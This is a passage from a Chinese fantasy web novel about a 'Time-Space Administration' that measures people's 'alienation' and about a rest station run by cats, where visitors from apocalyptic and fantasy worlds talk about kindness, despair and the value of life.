“这是异化度,代表着你现在的状态。异化的智慧生命表面上并不会发生明显改变,异化的表现也会因为成因而也各不相同,但……”
暮时说到这里,略微停顿了一下,手指在设备上又点了点,
“最大的共性是,会失去对生命的理解。处在异化中的智慧生命的行动不再由自己掌控,而是被社会观念、他人评价、甚至于只是潮流或小圈子等裹挟。
异化的过程像是人本身化为了物,并一刻不停地攻击自己的自我,直到自我近乎完全消亡。”
宁诚很努力地听了,但他确实不是什么聪明的人,因此只是小心翼翼地开口。
“抱歉……我还有点不明白。那么你刚才说的‘抗异化个体’是什么呢?”
“我先前说过吧,时空管理局是由拥有某种共同特质的智慧生命组成的团体,而这种特质,就是作为智慧生命本性中带着的‘善良’,也是本局吸纳新鲜血液的必要标准之一。”
暮时坐回了座位上,笑着伸出手指晃了晃,
“根据时空管理局手册规定,目前我们暂时将‘善良’定义为‘怜弱的能力’。而抗异化个体,就是异化度超过80%却依然具有该品质的未完全异化个体。一般认为,这种特殊个体的异化度永远不可能达到100%。”
“呃,对不起,但是……”
“别总是抱歉来抱歉去的,你这个人说话怎么磨磨唧唧的,有话直说嘛。哦对了,忘了你异化度已经90%了。”
暮时想了想,最终点了点头,语气刻意放缓了些,
“那确实不怪你,你慢慢说吧,还有什么问题吗?”
“你说的被异化,是指将成绩放在首位吗?”
尽管宁诚已经努力试着理解了,但最后也只能从她对刚才那句嘲讽中稍微明白一点表皮,
“但是,本来不就是这样的吗?成绩好才有价值。我不明白,你说的‘善良’有什么用。”
“好典型的高异化度人群问题。你周围的人是不是天天对你说些‘有什么用’之类的质问?听他们放……算了,值班时间我不能说
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难听的话。”
暮时有些无奈地叹了口气,揉了揉太阳穴,
“那你先说说,你的世界为什么会让你认为善良没有用?”
“因为……经常看见有人说,只有聪明人才能说善良,蠢人善良也只会做恶毒的事情,还有……也不能加分吧,就是,没什么实际作用?”
宁诚说话颠三倒四的,没什么逻辑,说到最后语气都带着茫然的疑惑,像是在质疑自己一样。
他的脑子本来就不好用,刚才暮时说了半天,他也只隐约理解了个皮毛。暮时又重重叹了口气,扶着额头抬手让他别说了。
“首先,你说的所谓‘愚蠢的善良’,它的问题在于‘愚蠢’啊,谁告诉你‘善良’有问题了。真是……算了,等你入职后再说吧。不过如果是抗异化个体的话,我得跟你说一件事。”
说完,暮时抬手往天上一抹,便利店的天花板便像是幻象一样粉碎坍塌成了微小的粒子,天幕上映照出来来往往的忙碌的人,像是一个巨大的图书馆,中间是一本巨大的、蓝色封皮的书。
画面很快飞一般地移动到了其中一个房间内,有几个人被装在像是大型培养仓一样的玻璃圆柱中。
“目前我们管理局正在对拥有超乎寻常的抗异化能力个体进行重点研究,嗯……说委婉点,手段并不温和;说难听点,据我所知好像是惨无人道。
我对这个项目的具体情况不算了解,不过放心,我们不是什么强盗组织,如果你不愿意也会安排别的工作给你。”
宁诚愣了许久,努力用并不聪明的脑子理解现状。对他来说,现在的一切看起来都可疑又难以接受,不过只有一点他非常清楚——对面的人没理由骗他。
显然,能莫名其妙把他掳到这里来的人其实根本不需要在乎他的意见。其实他依然完全没明白现状,但听暮时的话,他这样没用的人好像有什么价值似的,好像是为了什么很重要的事情。
“……我只有一件事需要确认。”
面对着这位神秘的女孩和狸花猫,宁诚鼓起了勇气,问出了自己的问题,
“你们确定我不会搞砸你们的事情,对吧?如果是的话,那我就答应。”
反正他也不是什么重要的人,如果他们有需要的话,那就拿去好了。要是能帮上什么忙,那最好不过了。
“据说挺疼的,想清楚。不过你到时候后悔也来得及就是了。别不好意思,你可以在任何节点提出中止。”
暮时毫不意外地叹了口气,转身一边在神奇的全息投影设备上操作着,一边嘱咐道,
“到那边之后会有人带你去进一步登记。千万记住,任何时候你都有权后悔,我们尊重你的自由意志。”
说完,暮时直接挽起了他的袖子,看着他爬满了狰狞淤青的手臂,轻轻叹了口气。看着她的表情,宁诚突然觉得好像手臂比刚才更疼了。
劣等感的羞耻会带来远比身体更加剧烈的疼痛,不知为何,受害者总甚至比加害者还容易觉得无地自容,但这不讲道理。
暮时在他手臂上点了点,宁诚就看见自己手臂上浮现出一个黑色的蛇形标志。
9. 时空管理局与黑猫
“这是我们蛇派的标志,遇到麻烦的时候会有人来帮你的。”
暮时说着,顿了顿,随后眯起眼睛笑了起来,抬手挥了挥,只见便利店员工室的门咔嗒一声打开了,
“去吧,至于你原来的世界……我们会按照时空管理局的规定负责帮你处理好一切。”
“谢谢。”宁诚露出了感激的笑容,点了点头。其实他不知道暮时是不是真的会帮他处理什么,但无所谓了。
听到宁诚道谢的一瞬间,暮时的表情变得有些微妙,但还是保持着微笑目送着宁诚走进了门,房间内只剩下了一人两猫。
暮时趴回了桌上,看上去有些恹恹的。两只猫猫绕着她转了转,和她更熟悉些的狸花猫用小脑袋拱了拱她,喵了几声。
“谢我?谢我天天在这里坐着看监控吗?受不了这种抗异化个体……”
暮时叹了口气,自言自语道,眼神慢慢放空了,像是在看着远处,
“这声谢担得我真***难受,要不去把造成他异化的污染源都杀掉好了,***大不了我也被处死……”
“喵!”
正在暮时陷入死结般的思绪时,突然感觉手上传来一阵痛感——狸花猫一口咬上了她的手指,尖尖的小牙并没有很用力,甚至没破皮,但也造成了些疼痛。
咬完后,狸花猫轻轻舔了舔她的手指,带着倒刺的小舌头伸出来舔一下,抬头看看她,又舔一下。
暮时愣了愣,低头看了看手上正在发出异化警告的检测手环,深吸了一口气,缓缓吐出,这才恢复了镇定。
“我知道我知道,我知道这样做是不对的。”说着,暮时趴在桌面上,平视着狸花猫,语气有些无奈,“好啦好啦,我保证,我尽量不杀人。”
“喵……”
“尽量就不错了。这不是忍不住嘛,忍得住的话我就不至于被从分局人事部贬过来了。而且我们蛇派其实还好吧,只是推崇以牙还牙而已,隔壁灭世派可是主张废除污染源的智慧生命权呢。”
暮时又坐正了些,托着腮深深叹了口气,
“占大多数的还是温和派和中立派,毕竟管理局还是正经组织……但说实话,我觉得救世派那帮人比我们所有激进派分支加一起还可怕,未来你去述职就知道了。”
按照这个业绩来说,狸花猫肯定有机会去总部那边述职。不过暮时一想到一堆人坐在下面拿着翻译器,听着猫猫在前面咪来喵去,就多少有些想笑。
“前辈,我心情不好,给我摸摸你的肚子和爪爪呗。”
狸花猫歪了歪头,状似无意地往旁边一翻,侧躺着伸了个懒腰,小爪子的刻意张开,然后又抬头看了看暮时。
“我懂,罐罐是吧,早就准备好了。”
暮时从底下翻了几个罐罐出来,一个放到狸花猫身前,一个放在德文猫身前,剩下的打了个包放到旁边,准备让狸花猫背回去慰问一下其他猫猫。
一手交罐罐,一手摸猫猫。
最近猫猫休息站那边突然申请了关店,一连好几天也没恢复运营,她也知道猫猫们状态都不好。
而当暮时听完狸花猫的喵时,看着手上的翻译器,另一只手放在狸花猫的肚皮上沉默了一会。
“前辈,你说,如果我只是不小心又误杀了少数几个特别**的智慧个体的话……”
“喵!”
“好了好了我知道,我现在也就是说说,毕竟再有过激行为就要被处死了。虽然我也不怪管理局的决策,但这破世界……”
暮时话说到一半,突然瞥见从刚才开始就沉默着的德文猫——它正用温和而有些寂寞的眼神看着这边,没有打扰别人。
一只小猫咪都学会读空气了,这破世界。
“之前没见过你诶,上次我去例行维护的时候你好像还没来。我可以摸摸你吗?”
暮时对德文猫伸出了手,没有主动动作。德文猫的耳朵动了动,安静地走了过来,乖乖用头蹭了蹭暮时的手心。
她看着自己手环上的异化度慢慢降低,轻轻叹了口气,低声念了一段话。
“我自愿加入时空管理局,以保护全体智慧个体的事业为终身目标。
我发誓,我将永远在弱者面前保持同理心,在强者面前保持自尊心。无人在我之下,亦无人在我之上。我们生而平等,本就如此。
我发誓,我将抛却一切偏见,摒弃全部傲慢,只对智慧个体最伟大的品格、灵魂与爱献上仰慕之情。
我发誓,我将随时准备为我们共同的目标牺牲一切。让所有智慧个体都不必抛弃自我,让所有的爱和憧憬都被阳光照耀。
……我相信,我们终将胜利。”
我们终将胜利吗?
暮时略微垂眸,有一搭没一搭地抚摸着两只猫猫,随后长叹一口气,转身看向屏幕。
然后德文猫便趴到了操作台上,而狸花猫趴到了德文猫上,两只猫猫叠在一起,好奇地看着屏幕,尾巴轻轻晃着。
暮时试着推了推狸花猫,得到了一声不满的猫叫后,只得掏出手机选择远程操作。
没办法,猫是恶霸,狸花猫是恶霸中的恶霸。
“输入扫描数据,生成仿生模型,组装完毕后投放至101号分局下属第5实验点覆盖范围内编号13的世界,坐标……”
暮时熟练地下达了一系列指令。只见便利店中心,无数机械臂从地板下伸了出来,用各种奇怪的生物器官迅速组装成了一个长得像极了宁诚的假人。
这个假人将被投放至宁诚家中。自此,他的故事就结束了。至于之后发生什么,这就不是暮时的职责范围了。
“对了前辈,你为什么不干脆在店里配个翻译器呢?画画多费劲啊。”
“喵。”
“……你一只小猫咪怎么抠抠搜搜的,搞得像管理局虐待员工不给罐罐一样。用经费买总行了吧,反正也算是为了休息站建设。”
暮时刚准备下单,突然猫爪就踩到了人手上。
“喵。”
“对哦,你说得对,翻译器会被客人顺走……”
不当家不知柴米贵啊。狸花猫可是要养家的呢。
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狸花猫打了个滚,舔了舔爪爪,在收银台上和德文猫玩了会。很忙,但不知道在忙什么。
而暮时则是操作着自己的设备,调出了她在后台观测到的客人数据,和狸花猫交代了一下工作:
“末日世界的那个谁……卫锦程?你稍微注意一下,她异化度已经快到达80%了。不过不容易啊,那个世界的‘灯塔’已经差不多要熄灭了,居然还能撑到现在。”
时空管理局发布文件将异化度80%作为异化临界点,超过80%则判定为完全异化个体。通常这个过程是不可逆的,但也不排除个例。
像宁诚那样到达了90%,已经不把自己的生命当回事了,却还能对其他智慧个体保有正常观念的个体,则被称为抗异化个体。时空管理局内部通常认为,这少部分抗异化人群无论个人能力如何,都代表着智慧群体的良知。
有预言称,当宇宙中再没有抗异化个体生存时,智慧生命便走上了无法逆转的毁灭轨道——这代表,情况已经糟糕到良知完全无法存活了。
而“灯塔”,则是一个抽象概念,代表善良的秩序与共识。当一个世界的智慧生命失去“灯塔”后,这个世界就会被时空管理局放弃。
届时,时空管理局便会将该世界所有残存的善良智慧生命引渡至休息站,成为时空管理局的新生力量。
而休息站的使命,便是支援、引导与保护,帮助来到休息站的智慧生命点亮他们世界的“灯塔”,或将特殊个体送至管理局保护。
狸花猫兴趣缺缺地喵了一声,翻着身对德文猫露出肚皮。德文猫凑近闻了闻,用脑袋拱了拱。
“前辈?”
“喵……”
让猫工作当然是很难的事情,因为这是猫啊。
暮时叹了口气,干脆把文件打了张纸出来,塞到了给狸花猫准备的、装着罐罐的小包袱里面,然后无奈地继续履行交代工作的职责。
“奇幻世界的那几个目前倒是还挺平稳的。还有那两个学生……你看着保护一下吧,必要的时候我会跟上级申请物质世界通行证。
目前这个分流人数还能承受吗?想扩建……好的,我记下来了,那之后再多分流给你们几个人,到时候随时联系。
另外根据记录,由你管理的休息站与无人管理的休息站相比,平均多降低了10%的异化度,通过了对照试验,这个数据我已经发到分局那边了。
不出意外,应该两周后就会有人去进行实地匿名考察。考察通过后,101号分局下属第5实验点——即本休息站——便可以晋升为正式休息站,还有其他问题吗?”
狸花猫打了个哈欠,而德文猫耳朵动了动,抬起头,对暮时轻轻喵了一声。
“你说总觉得时空管理局塞给你们的那只黑猫有点奇怪?这我该怎么解释呢……”
暮时挠了挠头,似乎有些头疼,
“它和你们的亲缘关系确实有点远。那只小煤球只是体型小,事实上生命本源和你们相差不多。而它……其实从本质上来说,更接近神话个体。”
10. 猫猫生命大于天
世界上有神吗?取决于定义。
大家对神的定义是什么呢。全知全能?无法观测?足够强大?令人恐惧而是令人尊敬——抑或是两者都有?
遗憾的是,以上任何定义,都在“智慧个体”的定义之下。时空管理局对“智慧个体”的定义,是有自主意识,并存在真随机性的个体。不符合这个定义的,则被归类为“客观存在”。
没有自主意识的物体,和路边的石头并无本质区别。小到星球相撞,大到黑洞湮灭星系,再大到目前波及全部智慧个体的异化危机,都只是客观存在的规律。
显然它们足够强大且对个体来说不可抵挡,但从定义上绝无法和“神”这个意向挂钩。
而神话个体,顾名思义,便是相对更强大的智慧个体,仅此而已。
对于三低(低魔、低武、低科技)世界来说,奇幻世界的巨龙就足够成为神话个体了;而对于奇幻世界来说,神话个体则是那些性情各异执掌权柄的“神”。
至于这只看似普通的、外表和体型都平平无奇的黑猫,却是时空管理局认证的神话个体。
“喵。”
狸花猫和德文猫突兀回到了休息站内,狸花猫把黑猫从猫爬架高处喵了下来,两只猫猫好奇地围着黑猫嗅来嗅去。黑猫则竖起了尾巴表示友好。
猫猫很少管其他猫猫的事情,但听到狸花猫带回来的消息后,大家都凑过来好奇地闻了闻黑猫,然后没一会就又各自做自己的事情了。
猫可不管什么神话生物,小猫咪最在乎的事是自己喜欢的玩具球球是不是还好好地待在猫窝里。
狸花猫左歪歪头,右歪歪头,耳朵动了动,随后走向德文猫,两猫互相把系在自己脖子上的小包袱打结处咬开,给猫猫们发暮时送的慰问罐罐。
一猫一个,猫猫平等,黑猫也只有一个。
小煤球看见布偶猫呼噜呼噜地吃着罐罐,终于松了口气。
布偶猫看到宁诚后,终于想开了。就像很久以前,猫猫休息站刚开业时,来给它们培训的人形智慧生命说过的那样——没被爱过的生命,大都不会爱。
如果这些人类小时候就是被这样要求的,要求他们做到他们年纪不可能有的乖巧,要求他们拥有他们无法做到的成就,那么他们理所当然会认为这就是正确的,这就是世界的运作方法。
凭什么我没被宽容对待,长大后却被要求宽容对待别的个体?
人变得刻薄到底该怪谁怨谁?小猫咪想不明白,好像不完全是那些人的错,但他们确实变得刻薄了。鄙视着爱,嘲笑着善意,将最美好的情感贬低得一文不值。
不过布偶猫不刻薄,它是一团会喵喵叫的棉花,很柔软,很温暖。所以它最终虽然没有原谅,但它多少想开了些,并且切实感受到了悲伤。
风铃响了,狸花猫正要起身,布偶猫就先一步慢悠悠地飘了出去,轻轻喵了一声。或许它还需要时间完全恢复,但至少它想通了些。
狸花猫见状便跳到了桌上,舔了舔自己的毛,收拾好形象,夹着嗓子细细地叫了几声——刚才在自己人面前喵嗷喵嗷地乱叫就算了,营业的时候销冠要拿出销冠的样子。
小猫咪有两副面孔,但那怎么了,肯用心就不错了。小猫咪只需轻轻出爪,人类就会围着它喊“好可爱啊”。
关店后,狸花猫打着哈欠走到售货机前,查看之前拜托暮时向总部报备过的扩建事宜。
现在的休息站共有四个房间:餐厅,浴室,放置有售货机的猫猫营业处以及熬夜猫猫用的玩耍跑酷房。
员工来说,共有十二只猫:狸花猫,布偶猫,奶牛师傅,德文猫,橘猫,黑猫,小煤球,英短蓝猫,美短起司猫,狮子猫,玳瑁猫与……一只折耳猫。
折耳猫基本都有先天遗传性软骨病,发病率接近100%,这只也不例外,大部分时间都因为疼痛而保持坐着的姿势。
牧师泽安德倒是很努力地试着治疗过它,但这是基因上带着的疾病,即便是治疗术也只能暂时缓解,无法根治。
现在狸花猫倒是能时不时给折耳猫拍个治疗术,让它的日子好过了些,偶尔还能跑跑跳跳,释放一下作为猫猫的爱玩天性。
虽说繁育折耳猫用以贩卖是非常恶劣的行为,但已经生下来的折耳猫们没得选,也只能努力活着了。
现在休息站的折耳猫听暮时说时空管理局会为员工提供基因病治疗福利,只是申请周期有点长后,正在带着希望和期待努力工作。
言归正传,狸花猫思索了一会,伸了个懒腰,开始走神。走了一会神,才开始做正事。
猫猫们是比较独立的生物,虽然关系好的猫猫喜欢挤在一起,但泛泛之交的猫猫之间需要一定的个猫空间,猫窝的排布是个问题。
另外,有不少客人都喜欢和猫进行激烈的过招来自我提升——尤其是奶牛师傅的客户——但总是在猫猫营业处打来打去也不是个事。
狸花猫歪了歪头,爪爪一拍,扩建了个先进的训练室。被观察员分流来猫猫休息站的客户基本都是人形生物,因此只要在大部分设施适配人形生物的基础上,稍微考虑一下多样性就好了。
然后,还要一个分成很多间的大卧室,有些客户比起和猫玩显然更需要休息,就算强行营业效果也不佳。另外,可以借机开发猫猫暖床业务。这样熬夜的猫猫们也可以白天睡觉赚罐罐了。
猫猫有猫窝,人应该也需要有人窝。在狸花猫的小脑袋里,它认为这样挺对的。
不过,如果要经营睡眠休息服务,还要考虑猫猫的猫身安全。来这里的生物可不都是友好的,也不是每只猫猫都有自保能力。
狸花猫看着操纵面板上的几个选择,尾巴无意识缓慢地摆来摆去。时空管理局给全体猫猫发来了奖金——以能力的形式。
上一次给的奖励,就是能把它们不喜欢的人放逐出这个空间。这次的奖励也是一如既往的大方而实用。
力量强化、自动防御罩或空间折叠移动。
会瞬移的
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猫猫一听就超酷的,但狸花猫听完了时空管理局强制播放的说明后,果断放弃了这个选项。
因为目前还没有研发出保险装置,所以在使用这个能力的时候,如果操作不当,很可能瞬移到实体物体中,导致贯穿伤甚至挤压死亡。
猫猫生命大过天,虽然狸花猫很想要瞬移,但考虑了一下休息站的其他猫猫平均学习水平,就只能依依不舍地放弃了。
再考虑到现在休息站能够放逐生物作为安全保险,怎么想都是能用于拖延时间进行陶片放逐法的防御罩更合适。狸花猫爪爪一拍,休息站的猫猫们脖子上便突然多了个小项圈。
为了不勒到猫猫,项圈采用了半悬浮技术。这样既不会从脖子上往下滑,平时也不会贴在猫猫身上让猫猫不舒服。
在智能系统检测到恶意信号和主动攻击举动同时出现后,项圈便会张开一个力场将恶意个体推离,保障猫猫的猫身安全。
另外,自动售货机面板还跳出了语音说明——在休息站营业结束后,项圈便会自动脱落并漂浮至猫猫的猫窝旁边,第二天猫猫只要喵一声,就可以语音启动自己的项圈。
大家正咪咪喵喵地喵着自己的声纹时,黑猫用爪子扒拉了一下自己脖子上的项圈,肉垫按着关机键,然后把项圈叼到了猫窝旁边压箱底。
狸花猫观察着黑猫的举动,耳朵动了动。身为休息站的管事猫猫,狸花猫自觉责任重大,多少还是对黑猫多了些关注。
过了一会,它终于想起了之前发生的一件事。
在休息站的设施还没有那么完善时,曾经有人想要粗暴地强行带离德文猫。虽然休息站内猫猫平等,但人类世界中,有的猫猫是被明码标价的。
在被狸花猫跳起来挠花了脸之后,那人彻底被激怒了。就在那个人类准备对猫猫们动武的时候,黑猫站起来,轻轻地喵了一声。
然后不过一瞬间,那人便像是突然失去了意识一般僵住了,随后直直地摔倒在地,没了声息。
死了。
一群猫猫谨慎地凑过去闻了闻,在确认危险解除后便很快散开,不太想管店内的大型垃圾。还是狸花猫从自动售货机里找了个清洁服务才解决——不然小猫咪可拖不动人的尸体。
它记得,当时黑猫的毛色似乎一瞬间变得更黑了些。不像是正常泛着光的漂亮猫猫毛,倒像是把周围的光都压暗了几分似的。
对于人类来说,他们会恐惧这样莫名其妙的现象和与自己不同的个体,但猫猫只要问题解决了,就一般不会再用小脑袋多深入思考。
至于黑猫,只是稍微有点奇怪能力的猫而已,并且平时基本都是一个猫在猫爬架最高处俯瞰,不怎么和别的猫猫玩,其他猫猫也都不怎么在意它。
就在狸花猫努力回忆的时候,布偶猫又从它面前飘过,边走边掉毛。白色的毛毛飘到了狸花猫湿漉漉的小鼻子上,惹得它打了几个喷嚏。
然后它就不小心把黑猫的事全忘了,直到第二天发生了事情才又想起来。
11. 末世异能者与吟游诗人
第二天,门口的风铃响了。这几天都是布偶猫在主动做迎客的工作,它像是想弥补自己前几天消极怠工似的。
很快,白色大团棉花带着一位熟客进了门——卫锦程。狸花猫姑且想起了暮时的嘱咐,刚跳上桌想要营业,就发现对面的情绪似乎不太对劲。卫锦程身上沾着血,神情有些不对劲。
“喵?”
狸花猫歪了歪脑袋,呈现出明显的疑惑状。卫锦程看了它一眼,轻轻摸了摸它的头。
“我遇到了点事,有人找茬。事情本身不麻烦,要杀了这个人很容易,但是……”
卫锦程的话语停顿了一下,微微垂眸,
“这个人手下有一个聚居地,几百人。杀了的话,这些人没有异能者庇护,很快就会死。”
在末世中,普通人只能依附拥有特殊能力的异能者,加入他们建立的根据地,团结起来,这样才能在艰难的环境中苟延残喘。
事实上,卫锦程自己之前就是因为庇护聚居地的异能者死亡,聚居地被迫解散,所以才会被丧尸逼到无处可逃,差点死掉。
她捂着脸低下头,声音越来越小,而语速越来越快。
“我为什么要管他们怎么样?本来不就是各凭本事活着吗?我没有错,这世道就是这样,不管做什么都没用。要怪,就只能怪他们命不好。弱者本来就……”
在这样的时代,弱者本来就该死。
但这句话卡在她的喉咙中,一时之间怎么也说不出来。大概是这间休息站让她多少想起了一些存在于文明世界的道德。
事情本不该如此,这不对。
另一边,暮时看着数据监测屏幕,看着代表卫锦程的监测数据中,异化度正在迅速上升,叹了口气。
从卫锦程在休息站的表现来说,暮时对这个人的总体印象不算差,不过,看样子不好办了。
狸花猫显然也有些头疼——这个情况似乎不是能简单用可爱的毛绒绒解决的了。
这时候,一直喜欢待在猫爬架高处的黑猫沉默着跳到了她面前,轻轻喵了一声。
——你好。
卫锦程被突兀传入脑中的意念吓了一跳,立刻本能警惕地看了看左右,最后视线有些不可思议地落到了面前的黑猫身上。
它只是舔着自己的爪爪,卫锦程却感觉周身越来越阴冷,像是有一把镰刀缓缓靠近了她的脖子,而她动弹不得。
对峙许久,黑猫只是盯着卫锦程看,看得她发毛。就在卫锦程感觉自己的后背都要被汗水浸透时,狸花猫迈着步子过来喵了几声,舔了舔黑猫的毛毛。
随着喵喵叫声,阴冷的感觉散去了,仿佛什么都没有发生一样。
这次没有直接传入她脑内的奇怪意念。它像一只最普通的猫一样,打着哈欠伸了个懒腰。
“抱歉,打扰一下。”
一位奇装异服的少女站到了她对面,在桌上放下了一罐啤酒。卫锦程抬起头,皱着眉头戒备地想了想,想起这人似乎是和那位奇怪的剑士佣兵同行的吟游诗人——乔伊斯。
乔伊斯今天是单独来的,法师艾尔在法师塔里查资料,而剑士凯桑德拉则忙着接待一位稀客。
“……什么事?”
“您的世界似乎出现了问题,对此我表示很遗憾。”
乔伊斯微微鞠了一躬,随后拿出了手风琴,温柔地笑了笑,
“我并不打算评判您的事情,但我想,或许您现在需要一点音乐?”
在卫锦程开口之前,休息站里空闲的猫猫都围了过来,乖巧而安静地坐着,摆出优雅听众的做派。显然,这不是乔伊斯第一次在休息站里演奏音乐了。
卫锦程没说话,但她的脸上显然带着防备和不屑。在末日世界里,文明已经完全崩坏了——文学、绘画与音乐仿佛都比不上超市的一罐密封食物。
这种奢侈而无用的东西,已经不属于那个世界了。
“这首歌呢,是我们小队在接到押送奴隶的任务时,我听到奴隶中有人哼唱的小调。这批人本将被送往奴隶矿洞,最多五年便会活活累死。
我估计是他们从前生活的地方传唱的民歌,并不符合乐理知识,所以我略作改编,在保留原本的情感基础上填了词。”
乔伊斯微微低头说着。出乎意料的残酷解说让卫锦程愣了愣,随后她的语气不自觉带了些嘲讽:
“所以你准备用这种东西鼓励我吗?”
乔伊斯没有说话,只是摆出了演奏的架势,闭上了眼睛,面带微笑。与卫锦程预想的曲调完全不同,她的手风琴中流淌出了轻快跃动着的音符。
“听夜晚的风声漫扬,我们吃着五个铜币的酒粮,与所有人一同前往,梦想着幸福的墓场。
如果我将逝去,就算没有人在意,人生本是一场死亡之旅,至少我的灵魂终将干净如新。”
黑猫的耳朵动了动,用亮晶晶的圆眼睛看向乔伊斯,等她演奏完毕后,在她裤脚边蹭了蹭。
乔伊斯坐回了座位上,把黑猫抱到腿上,笑着摸了摸它。
“顺带一提,我们因为放跑了奴隶,整个小队被追杀到了黄昏峡谷三不管地带。并且最终奴隶也没活几个,他们本来身体就弱,应该在逃亡路上都死得差不多了。”
“……早知道没用,为什么还要做。”
卫锦程听到这个结果,按理说她早就预想到了,该嗤笑一声,但心底的失落怎么也压不下去,因此语气反而越发尖锐了。
“没用就不能做了吗?我们又没错,为什么不能做?”
乔伊斯的声音依然温柔,但说出的话却是针尖对麦芒,
“在充斥着错误的世界里,做一些事只是无奈之举,算不上错,但也不能因此就说对的事情是错的吧。”
“客观上你们改变了什么吗?”卫锦程站起身,居高临下地看着乔伊斯,仿佛气势很盛,声音很有底气,“你说啊。客观上来说,只是你们也……身陷囹圄了而已吧。”
这一个停顿倒不是卫锦程刻意的,只是刚听完诗歌般的语言后,说话风格便会不自觉被影响,不小心使用了一个对于口语来说过于正式的词语。
没想到,乔伊斯扑哧一声笑了出来,笑得很大声——在她的世界,朝不保夕同样
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是常态。关于这一点,卫锦程在和凯桑德拉的聊天中,多多少少有所了解。
所以她其实多少有些不明白,为什么这群人总是笑得这么大声,这破生活到底有什么好笑的。而现在,卫锦程被乔伊斯笑得有些泄了气,平时冷漠的脸颊都微微有些泛红,说不上是气的还是底气不足。
“身陷囹圄……用入狱失去自由来表达陷入困境,真是不错的词语,受教了。不过既然你突然说出这么正式的词语,就证明你在听我的歌吧。”
乔伊斯擦了擦眼角笑出的眼泪,摇了摇头,自言自语道,
“没错,身陷囹圄,为什么我们必须在错误和错误之间做选择不可呢?”
为什么我们只有错误的选择呢?
听到这句话,卫锦程僵住了,像是受到了很大打击一样缓缓坐下,捂着脸过了许久,深深叹了口气:
“……说到底,是因为我能力不够。”
“不,别太把自己当回事,是因为这个烂世界该爆炸了。”
乔伊斯说完这句话,眼看着卫锦程震惊的目光,歪了歪头。她的头发随着动作略微偏了点,露出了尖尖的精灵耳朵,耳根隐约可见些异样的鳞片,
“怎么了?你难道觉得,你的困境是你自己的事情吗?年轻人,你显然是有灵魂的,只是还不成熟。不过别担心,我在一百岁的时候也像你一样。
在沼泽里自然而然就会向下陷,这是正常的。如果感到不舒服又无能为力的话,不要过度责怪自己,只要以自己的方式喊出‘我不认可’就好了。
但是无论你被迫做了什么,最重要的是永远不要忘记——你不认可。生命是你对这个世界的选票,不要忘了自己想投给怎样的世界,不要忘记自己是什么样的人。”
黑猫看着乔伊斯,眼睛亮晶晶的,跳到桌子上略显焦急地转来转去,显然想要引起她的注意。
“喵?”
狸花猫看见了黑猫的动作,歪了歪小脑袋,随后就地一躺,露出肚肚,打了个滚,然后看向黑猫。
销冠在线教学如何营业。
而黑猫显然有些疏于营业,不过幸好躺下打滚和对喜欢的生物露出肚肚是每只猫猫都会的本能。
能拒绝摸一只在撒娇的猫猫的人,感觉人生可能过得没有多少乐趣,好在乔伊斯不是这种人,她抬手揉了揉黑猫的肚子。
猫想要关注,猫得到。
“好啦,这种话说多了也没意思,总之你放宽心就好。如果怎么选都是错的话,意思就是怎么选都行。”
乔伊斯摸了摸黑猫,轻描淡写地结束了这个话题。而卫锦程拿着带点凉意的罐装啤酒,单手开了拉环,听着气冲出易拉罐的声音和液体翻腾的声音,慢慢放松了下来。
而就在这时,风铃又响起来了。没等狸花猫或者布偶猫去迎客,就看见一个穿着法师长袍的清秀男性冲了进来,撑着膝盖喘了口气。
“艾尔?出什么事了?”
被称为艾尔的法师看见乔伊斯正在摸黑猫,便赶紧咳嗽了一下,顺了口气:
“我……找到了,关于这只猫……”
12. 在猫面前别想干正事
艾尔将晦涩的书籍放在桌上,指了指其中一行就去买饮料顺气了。从法师塔一路跑来,对体弱的法师来说,负担多少有些重。
而就这么一会的工夫,猫猫们围了上来,对着书咪咪喵喵评论了几句,然后几只猫一屁股坐到了书上。
乔伊斯抱走黑猫,狸花猫坐了过来;卫锦程被乔伊斯拜托抱走狸花猫,布偶猫又坐了上来;乔伊斯放下黑猫抱走了布偶猫,黑猫又坐了上来。
好了,这里有十二只猫,但只有三个人,这本书没法看了。
“……我简单解释一下吧。执掌者,即掌握某种规则的生物。不过这并不意味着他们能将规则当作工具使用——相反,更像是规则选择与他们共生。”
艾尔无奈地走了回来,喝了口手中的碳酸饮料,
“他们可以借用执掌的规则,但并非没有代价。以这个小家伙为例,别看它长得可爱,这可是货真价实的执掌者,说是死神也不为过。”
“……死神?”
卫锦程想到刚才仿佛被镰刀架在脖子上体验,忍不住看向黑猫,但它只是轻轻晃着尾巴打哈欠,过了几秒钟,又用后爪挠了挠耳朵。
“别担心,只要你没有触动业力规则,它就只是一只普通的猫而已,你看。”
说着,艾尔抱起了黑猫,轻轻挠了挠它的下巴,直到它舒服得眯起眼睛,
“执掌者一般诞生于秩序比较混乱的世界——从本质上来说,是一种调节措施。他们的出现就是为了拨乱反正,抑制过度熵增。
至于更深层的原因,目前还没有结论。不过可以肯定的是,在这个小家伙附近,‘死亡’的规则会运转得更加迅速,实现因果报应平衡。”
换句话说,如果卫锦程只是杀了那个挑衅她的人,倒是不会有任何问题,但如果她忘记了生命的价值,那么她迟早会做出让她无法再次进入休息站的错事。
如果忘记了别人生命的价值,那么便不再有资格认为自己的生命有价值。
狸花猫在卫锦程发愣的时候,跳到了她的肩膀上,轻轻用头顶蹭了蹭她的脸颊,喵了一声。
猫猫没有恶意,只是很担心她,所以才吓唬她一下,把她从强迫性思维的漩涡里暂时拉出来。
“那这个小家伙为什么会在这里呢?”乔伊斯接过了黑猫,托着它观察了一下。
“喵——”
黑猫长长地叫了一声,挣扎了一下跳到桌面上,绕着刚从卫锦程肩膀上跳回来的狸花猫转了几圈,一边转一边喵喵叫。
面对众人集中过来的视线,狸花猫无辜地歪了歪小脑袋,一边装可爱,一边状似不经意地一爪拍到了黑猫身上。
不许破坏销冠的营业形象。没有销冠养家,猫猫们都吃不到罐罐只能喝西北风了该怎么办。
“呃,其实我觉得,不用这么在意。”艾尔说完,先抬手又摸了摸狸花猫,“你们不觉得,这个休息站的存在本身,就已经远远超过了我们能抗衡的范畴了吗?这背后的运营者要是想杀我们,大概就像碾死蚂蚁一样简单。”
从第一次被凯桑德拉带来这里时,艾尔就察觉到这里的空间不正常——最起码那个售货机的运作,肯定运用了未知的空间技术或魔法。触及空间折叠层面的力量,搞不好甚至涉及无法理解的高维度存在。
对此,艾尔提出了理论上最合理的建议:
“管他的呢,不管休息站背后有什么庞大组织或者宏伟目标,反正这里只有一群喵喵叫的小家伙。日子都这么难了,不摸点猫生活怎么过啊。”
